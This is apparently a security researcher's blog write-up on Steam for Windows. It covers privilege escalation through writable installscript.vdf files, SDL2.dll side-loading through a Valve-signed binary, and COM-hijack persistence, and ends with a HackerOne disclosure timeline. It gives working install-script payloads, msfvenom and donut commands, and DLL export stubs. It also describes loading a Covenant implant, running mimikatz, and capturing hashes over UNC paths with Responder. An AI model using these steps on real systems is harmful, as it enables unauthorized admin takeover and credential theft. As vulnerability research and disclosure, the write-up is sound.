Privilege Escalation and Persistence through Steam Install Scripts

Note: These issues were last tested with the Steam version shown below:

After playing around looking for DLL side-loading issues in System32, I started looking around on my system outside of System32 for any interesting applications I had installed that could be leveraged. One application that immediately caught my eye was Steam, since its installation directory had granted “Full Control” to all users on my system. This was atypical, to say the least.

There is one Steam component that runs with Administrator privileges, SteamService.exe. Previous research by Vasily Kravets showed that SteamService.exe could be leveraged for privilege escalation. Through symlinks, Kravets was able to abuse SteamService.exe to grant all users on a system full control over any registry key on the system. Steam had marked the issue as not within the scope of their bug bounty program, and Matt Nelson aka enigma0x3 published a PoC exploit as they had concurrently found the issue along with Kravets.

This issue was eventually patched by Steam, but it appears that further research by Xiaoyin Liu showed Steam was still vulnerable. I was unable to discover any information about whether the new issue had been fixed since it was published on August 16th.

Privilege Escalation Through Install Scripts

Given the past issues with SteamService.exe, I hoped to find a new issue that would result in privilege escalation. SteamService.exe actually exists in two directory locations, shown below:

C:\Program Files (x86)\Steam\bin
C:\Program Files (x86)\Common Files\Steam

C:\Program Files (x86)\Steam\bin is world writable. C:\Program Files (x86)\Common Files\Steam is only writable by Administrators. At first I thought, oh, just modify the SteamService.exe to be whatever binary I want in Steam\bin and restart the Steam Client Service. When the service starts, though, it checks if the SteamService.exe binary in Steam\Bin matches the binary in Common Files\Steam. If they do not match, the binary in Steam\bin is overwritten with the binary in Common Files\Steam.

I then wanted to see what SteamService.exe actually does, so I ran it in a command prompt.

I tried a few of these options, such as install and repair, but it didn’t look like I could redirect SteamService.exe to execute an arbitrary file of my choosing, or load some DLL I could place in a world writable location. The /installscript option looking enticing, as it says you can provide it a file. I then Googled for “Steam install scripts” and saw references to installscript.vdf and runasadmin.vdf files, which are run when a game is first installed. I searched through my Steam directory for these install scripts, and found a few instances of installscript.vdf that already existed.

These scripts were under Steam\steamapps\common\Steamworks Shared_CommonRedist for DirectX, VC++, and OpenAL resources that may need to be installed when a new game is first run on a system. I checked the permissions of these install scripts, and they all granted full write permissions to any user on the system.

The install scripts contained instructions to execute the installer files. An example from the VC++ installscript.vdf file is shown below:

	"Run Process"
		"x86 SP1"
			"hasrunkey"		"HKEY_LOCAL_MACHINE\\Software\\Valve\\Steam\\Apps\\CommonRedist\\vcredist\\2008"
			"process 1"		"%INSTALLDIR%\\_CommonRedist\\vcredist\\2008\\vcredist_x86.exe"
			"command 1"		"/q /norestart"
			"nocleanup"		"1"

Any user could then modify the “process 1” and “command 1” fields and have SteamService.exe execute it. To test this as a privilege escalation issue, I wanted to see if a non-admin user could modify a installscript.vdf file. I first created an unprivileged user called not-admin on my system.

I then opened installscript.vdf for VC++ as the not-admin user.

As shown above, installscript.vdf was modified to run a command to add net-admin to the local Administrators group.

I then downloaded and installed a game from my Steam library. I chose the game Jamestown because it is only 100mb so it would be quick to download and reinstall multiple times for my testing. After downloading the game, I clicked on “Play” to start it.

I was prompted to allow the Steam Services Client to install something on my system. I clicked yes, and then saw Steam saw it was installing the VC++ redistribution. That finished, and the game started normally.

I minimized the game and then checked a command prompt I had running as not-admin. Before, I could not add myself to the Administrators group. After starting Jamestown for the first time, not-admin was made a local Administrator!

So, when using a fresh install of Steam on a system, a non-admin was able to modify the installscript.vdf files for Steam’s common redistribution packages. When the regular user downloaded and installed a new game, SteamService.exe would execute the command the unprivileged user added to installscript.vdf with elevated privileges, and add the unprivileged user to the local Administrators group.

The attack scenario for this privilege escalation would be for an unprivileged attacker to modify the installscript.vdf files, and then…wait for the target user to install and run a new game. The attacker will need to hope they have a lot of time to spare waiting for the privilege escalation to trigger…

I tested this issue dozens of times to try and determine the minimum required to exploit the issue. From my experience, this appears to work 100% of the time it is run from a fresh install of Steam and for the first new game install. I did get it to work after several games were installed through Steam and had been launched more than once, but the results were inconsistent. For whatever reason, when a newly installed game was launched Steam wouldn’t always install the Common Redistribution packages. It didn’t seem dependent on the game. Sometimes a new install of Jamestown would install VC++, other times it wouldn’t. Same for other games I tried (Lovely Planet, Max Payne, LISA, etc.) That said, if Steam was just installed, and Jamestown installed and run for the first time, the privilege escalation issue would always be triggered. This makes this issue a bit of an opportunistic one for an attacker. It may not work if Steam has been installed on the system and regularly used for a while. If the attacker lands on a system that just installed Steam, it should work, though.

Making it More Consistent

Modifying the installscript.vdf file for Common Distributions such as VC++ only seemed to work once. Once VC++ was installed, Steam didn’t seem to run the installscript.vdf any more. This meant the exploit was only really viable for when a user had first installed Steam and had no prior games installed.

To get around this, I tried to create a new installscript.vdf file in a game installation folder. This time, I did it for an already installed game that I had played, Lovely Planet. This seemed like a good test because by default Lovely Planet did not already have an installscript.vdf or runasadmin.vdf file in its install directory. I would be creating an arbitrary one and placing it in the directory. Like seemingly everything under C:\Program Files (x86)\Steam\, Lovely Planet’s install directory was world writable. So, I created the following installscript.vdf file in Steam\steamapps\common\Lovely Planet.

"Run Process"
		"Process 1" "C:\\windows\\sysWOW64\\cmd.exe"
		"Command 1" "/c start cmd.exe"

When I launched Lovely Planet, I would get a command prompt with elevated privileges.

Steam happily read my new installscript.vdf and executed the commands I had put in with elevated privileges. Steam would only run this once. The next time I started Lovely Planet, the installscript.vdf file wouldn’t execute. However, if you made any change to the installscript.vdf file, and then restarted Lovely Planet, Steam seemed to recognize this as a new install script and would execute again. Changing my first installscript.vdf to the one below caused it to re-execute. The only changes made were from Cmd32 to Cmd64, and from the cmd.exe in the SysWOW64 directory to the System32 directory.

"Run Process"
		"Process 1" "C:\\windows\\System32\\cmd.exe"
		"Command 1" "/c start cmd.exe"

Placing an installscript.vdf file in any of my games’ install directories seemed to work. Steam saw a new install script, and would happily run it, regardless of whether the game was just installed or one I had played many times.

Interestingly, Valve does have an installscript_log.txt file located in C:\Program Files (x86)\Steam\logs. When I would run Lovely Planet, it would say:

[AppID 298600] Missing install script signature "C:\Program Files (x86)\Steam\steamapps\common\Lovely Planet\installscript.vdf", partial execution only

According to Valve’s documentation for install scripts, install scripts are created during a game’s build process and:

The install script is uploaded to Steam and cryptographically signed. This signature is validated by Steam before executing any install script, and is required to perform certain operations, including writing to the HKLM hive on Windows. This may cause your local copy of the install script to be modified.

Based on the log, it seems like Steam is recognizing that the signature for my Lovely Planet installscript.vdf file is not valid or recognized, but the process is still started. ?

While I have been using installscript.vdf files to run arbitrary processes with Administrator privileges, it looks like the documentation also allows you to write to arbitrary register keys and make changes to the Windows Firewall. Fun!

Say you don’t care about running a payload or anything on the users system, but want their credentials? Easy! Just make something like this:

"Run Process"
		"Process 1" "C:\\windows\\sysWOW64\\cmd.exe"
		"Command 1" "/c dir \\\\\\C$"

Have that IP address you inserted running something like Responder, and you’ll receive a nice hashed credential. I hope Steam users use good passwords for their local accounts!

SetupSteam Privilege Escalation (kind of but not really)

While playing around with SteamService.exe, I also found an interesting error when trying to use the /setupsteam option. When you use that option, SteamService.exe gives an error saying that SetupSteam.exe was not found in the Common Files\Steam directory.

I then tried the same thing running the SteamService.exe executable from the Steam\Bin directory. It said it could not find SteamSetup.exe in Steam\Bin, making it appear that SteamService.exe was looking for SteamSetup.exe in whatever its current directory was. I tried to then copy cmd.exe from System32 to Steam\bin and rename it SetupSteam.exe, but that failed with the error that SteamService.exe would not run an unsigned EXE. My plans seemed to be foiled, but…

DLL Side-loading Valve Signed Binary for Code Execution and Persistence

While I was performing my tests, I noticed that every time I restarted Steam that the gldriverquery.exe executable would run out of the Steam\bin directory looking for a DLL called SDL2.dll. Process Monitor showed that gldriverquery.exe would look for SDL2.dll in its current directory.

Using Visual Studio’s dumpbin utility from a Visual Studio developer prompt, I found what modules gldriverquery.exe was trying to import from SDL2.dll.

C:\Program Files (x86)\Microsoft Visual Studio\2017\Community>dumpbin /imports "C:\Program Files (x86)\steam\bin\gldriverquery.exe"

I then modified FireEye’s DueDLLigence project to contain the necessary DLL exports for SDL2.dll. I used the SDL_Init module to run shellcode.

[DllExport("SDL_Init", CallingConvention = CallingConvention.StdCall)]
public static bool SDL_Init()
    return false;
[DllExport("SDL_GL_SetSwapInterval", CallingConvention = CallingConvention.StdCall)]
public static bool SDL_GL_SetSwapInterval() { return false; }
[DllExport("SDL_GL_SetAttribute", CallingConvention = CallingConvention.StdCall)]
public static bool SDL_GL_SetAttribute() { return false; }
[DllExport("SDL_GL_CreateContext", CallingConvention = CallingConvention.StdCall)]
public static bool SDL_GL_CreateContext() { return false; }
[DllExport("SDL_GetError", CallingConvention = CallingConvention.StdCall)]
public static bool SDL_GetError() { return false; }
[DllExport("SDL_GL_SwapWindow", CallingConvention = CallingConvention.StdCall)]
public static bool SDL_GL_SwapWindow() { return false; }
[DllExport("SDL_CreateWindow", CallingConvention = CallingConvention.StdCall)]
public static bool SDL_CreateWindow() { return false; }
[DllExport("SDL_GetWindowSize", CallingConvention = CallingConvention.StdCall)]
public static bool SDL_GetWindowSize() { return false; }
[DllExport("SDL_GL_LoadLibrary", CallingConvention = CallingConvention.StdCall)]
public static bool SDL_GL_LoadLibrary() { return false; }
[DllExport("SDL_Quit", CallingConvention = CallingConvention.StdCall)]
public static bool SDL_Quit() { return false; }
[DllExport("SDL_GL_GetProcAddress", CallingConvention = CallingConvention.StdCall)]
public static bool SDL_GL_GetProcAddress() { return false; }
// end gldriverquery.exe

I then built DueDLLigence in Visual Studio (make sure to set the “Platform Target” to x86 in DueDLLigence’s properties under the “Build” tab), renamed it SDL2.dll, and copied it to Steam\bin.

My first test shellcode was just to start a new cmd.exe process. I generated the shellcode with msfvenom in a kali VM.

msfvenom -p windows/exec CMD=cmd.exe -f raw | base64 -w0

Then, when I started Steam, gldriverquery.exe launched and started a cmd.exe process.

gldriverquery.exe appeared to execute every time Steam was launched. The dll side-load issue then provided a nice persistence technique through gldriverquery.exe.

There were other executables that would load DLLs in the Steam’s installation directory. The crashhandler.dll library would be loaded by several Steam executables, including Steam.exe. When Steam was launched, the crashandler.dll would be imported and execute your code. However, during the startup process for Steam, it would check if the crashandler.dll file matched Valve’s most recent version, and if it did not, it would “update” Steam and download the correct crashhandler.dll, replacing yours. crashhandler.dll could not be replaced by the user while Steam was running because it was currently loaded. This meant that crashhandler.dll was not an ideal file to exploit for persistence since it would work once when Steam first started, and then you’d have to wait for Steam to exit before overwriting the legitimate crashhandler.dll file with your own dll.

While the gldriverquery.dll side loading issue allows for persistence on a system, it will only run your code in an unprivileged context. Based on this, it does not fall within the scope of Valve’s bug bounty program, which states the following is out of scope:

Attacks that involve the user running malware that then places or modifies content on the target machine, which Steam could later run as the local user

Combining with SteamSetup

To circle back to the possible SteamSetup.exe privilege escalation, my last attempt had said that SteamService.exe could not start my copied cmd.exe file because it was unsigned. The gldriverquery.exe executable is signed by Valve.

I then copied gldriverquery.exe and renamed it as SteamSetup.exe in the Steam\bin directory. I left the SDL2.dll file that I had created with DueDLLigence. I then used an Administrator cmd prompt to run SteamService.exe /setupsteam. This caused a new cmd.exe window to launch with a High integrity level.

Process Monitor confirmed that SteamService.exe was used to launch SteamSetup.exe, which was my renamed gldriverquery.exe. The renamed gldriverquery.exe then loaded my SDL2.dll file and launched cmd.exe.

While this seemed like a possible privilege escalation path, I couldn’t find a way to “naturally” get Steam to run the equivalent of Steam\bin\SteamService.exe /setupsteam, so it doesn’t look like this would ever trigger. The only way to do it was from a command prompt that already had administrator privileges. When you ran it from a command prompt that was in medium integrity but as an Administrator user, it would still prompt for UAC, so it didn’t work as a UAC bypass either. Maybe someone reading this can think of a way to get Steam to trigger this for a nice privilege escalation technique!

Weaponizing with Covenant

Using steam to run commands with administrative privileges is all fine and good, but I wanted to use it to run my favorite opensource malware, Covenant. At this point, it would be pretty trivial to get going.

First, I created a binary grunt launcher for Covenant and then downloaded the grunt. Then, using donut, got shellcode for the grunt. The current version of donut makes it very easy to get a base64 encoded string of the shellcode to be used in DueDLLigence.

.\donut.exe -f2 C:\Exclusions\GruntStager.exe

This will create a loader.b64 file with the base64 encoded shellcode. Copy the encoded shellcode into DueDLLigence.cs, then build with Visual Studio.

Copy the DueDLLigence.dll file into Steam\Bin and rename it to SDL2.dll.

Create a new installscript.vdf file and have it run gldriverquery.exe.

"Run Process"
		"Process 1" "C:\\Program Files (x86)\\Steam\\bin\\gldriverquery.exe"

Save the installscript.vdf file to your game of choice. “Wait” for the target user to start the game, and you should get a Covenant grunt back in high integrity.

As always, high integrity = run mimikatz right away.

Wow, a domain admin credential! What are the odds a DA is running Steam? Hopefully they have good taste in games…

Persistence with COM Hijacking

After reading through Pentest Lab’s recent blog post on COM Hijacking for persistence, I wanted to see if Steam could be used for that (it can).

First, I used Process Monitor to capture what Steam accessed when it first started. I then saved the process monitor logs to a CSV. I then used the aCOMplice tool to extract hijackable COM objects. The Pentest Lab post does a great and thorough job covering how to do this under the “Discover COM Keys – Hijack” heading, so I won’t go over that here. The results from aCOMplice looked like this:

There were a lot of options, so I chose a random CLSID / COM object that was “hijackable” and started playing around with it. The ones I tested would load my simple DLL that launched cmd.exe, but Steam would end up launching it 10+ times, and then other applications would use that same COM object when they launched, and I would end up with hundreds of cmd.exe processes running on my desktop.

To try and find something more unique to steam, I used Process Monitor with boot logging enabled to capture what COM objects were accessed during system startup. I again used aCOMplice to extract the results for all hijackable COM objects. I then pasted it all into a Google sheet and then used the following formula to find COM objects that only steam was accessing.

=countif(<range of all clsids>,<cell of steam clsids>)

The CLSID 25E609E4-B259-11CF-BFC7-444553540000 looked like a good candidate, so I looked back at the Process Monitor logs to see what registry key steam was looking for.

The full registry key was HKEY_CURRENT_USER\Software\Classes\WOW6432Node\CLSID\{25E609E4-B259-11CF-BFC7-444553540000}. Note the WOW6432Node after the CLSID key.

So, I then went and created the key for that CLSID and created the InprocServer32 key as well. I used a simple DLL I created that would start cmd.exe as the default value, and set the ThreadingModel value to Both.

With the registry keys set, I started up steam with Process Monitor running. The COM hijacking was successful and I launched my cmd.exe processes.

Every time steam started up, my DLL would be loaded. I used my system normally for a while and rebooted it a few times and didn’t see any other applications accessing this COM object / CLSID, so it seemed unique to steam as a persistence technique. Googling the CLSID turned up a few results for a DirectX related DLL, so this might be triggered by other applications that use DirectX. Most of the search results seemed to be related to users running into issues trying to play Windows games in Wine.

Note: Steam would access the {25E609E4-B259-11CF-BFC7-444553540000} COM object twice when it started. Keep that in mind if you try and weaponize this: You’ll get two beacons back not just one.


Date format is YYYY/MM/DD

  • 2020/02/22- Disclosed through HackerOne –
  • 2020/02/23 – Closed by HackerOne as duplicate
  • 2020/02/23 – Asked HackerOne on clarification if the issue was going to be fixed by Valve. HackerOne responded saying that the original issue was closed as “Not Applicable” to Valve’s bug bounty program
  • 2020/02/23 – Asked HackerOne for clarification on disclosing issues marked as N/A
  • 2020/02/24 – Provided HackerOne with additional information on performing the attack through creating arbitrary installscript.vdf files
  • 2020/02/29 – Asked HackerOne for an update. I had not received a response since 2/23/2020
  • 2020/03/04 – HackerOne responded. They restated that the report was N/A
  • 2020/03/05 – Valve locked the issue on HackerOne and said that this could not be disclosed publicly
  • 2020/05/22 – 90 days since notifying HackerOne